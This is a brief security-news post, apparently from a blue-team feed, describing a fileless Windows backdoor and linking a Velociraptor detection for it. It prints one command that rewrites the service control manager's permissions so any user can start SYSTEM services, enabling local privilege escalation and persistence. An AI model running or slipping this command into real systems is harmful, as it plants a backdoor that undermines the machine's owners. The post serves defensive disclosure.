Windows a file-less, persistent, local privilege escalation backdoor and detection approach

​

sc.exe sdset scmanager D:(A;;KA;;;WD)

Setting the security descriptor on the service manager to allow anyone to start SYSTEM services! Will Blue notice this?? ;)

Detection with Velociraptor:

[https://github.com/Velocidex/velociraptor-docs/pull/531/commits/2b957311bd252dc8453c0cdf3b5acdba1e9fbd93](https://github.com/Velocidex/velociraptor-docs/pull/531/commits/2b957311bd252dc8453c0cdf3b5acdba1e9fbd93)

source: [https://twitter.com/Alh4zr3d/status/1629535208297975809?t=wryopPzbbLfEgYKV3cqA0g&s=19](https://twitter.com/Alh4zr3d/status/1629535208297975809?t=wryopPzbbLfEgYKV3cqA0g&s=19)

amp backdoor blue blueteamsec detection escalation file local local privilege escalation manager notice persistent privilege privilege escalation security service services start system velociraptor windows